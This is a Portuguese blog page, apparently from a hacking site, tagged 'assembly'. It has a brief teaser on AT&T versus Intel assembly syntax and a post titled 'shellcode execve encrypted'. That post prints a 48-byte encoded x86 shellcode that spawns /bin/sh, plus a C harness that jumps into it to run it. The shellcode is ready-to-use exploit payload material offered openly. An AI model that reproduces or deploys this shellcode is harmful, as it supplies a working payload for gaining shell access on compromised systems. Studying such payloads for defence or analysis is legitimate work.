Tag: assembly

Diferenças entre a sintaxe AT&T e a sintaxe Intel

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[12]-=[Diferencas entre a sintaxe AT&T e a sintaxe Intel]=-|Narcotic|=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

–=[ Introdução

Aqui vai uma breve introdução sobre a diferença entre a sintaxe AT&T e a Intel. Raro conhecer alguem que aprenda primeiramente a sintaxe AT&T pois ela é um tanto confusa para um iniciante. Mas para programadores mais experientes, ela se torna uma ferramenta muito poderosa, feita de tal maneira que impossibilita ambiguidades no código.

(continue reading…)


shellcode execve encrypted

/*
Encoded SUB shellcode execve /bin/sh of 48 bytes
by anderson_underground@hotmail.com
Hack 'n Roll
*/
char shellcode[] =
"\x31\xd2"
"\xeb\x0e"
"\x31\xdb"
"\x5b"
"\xb1\x19"
"\x83\x2c\x1a\x01"
"\x42"
"\xe2\xf9"
"\xeb\x05"
"\xe8\xed\xff\xff\xff"
"\x32\xc1"
"\x51"
"\x69\x30\x30\x74\x69\x69"
"\x30\x63\x6a"
"\x6f"
"\x32\xdc"
"\x8a\xe4"
"\x51"
"\x55"
"\x54"
"\x51"
"\xb1\x3c"
"\xce"
"\x81";
int main(void){
printf("Length: %d\n",strlen(shellcode));
__asm__("jmp shellcode");
}

Fonte


  • Pesquisar:

  • Publicidade:

  • Newsletter:

    Enter your email address:

    Delivered by FeedBurner

  • Categorias:

  • Copyright © 1996-2010 0fx66. All rights reserved.
    iDream theme by Templates Next | Powered by WordPress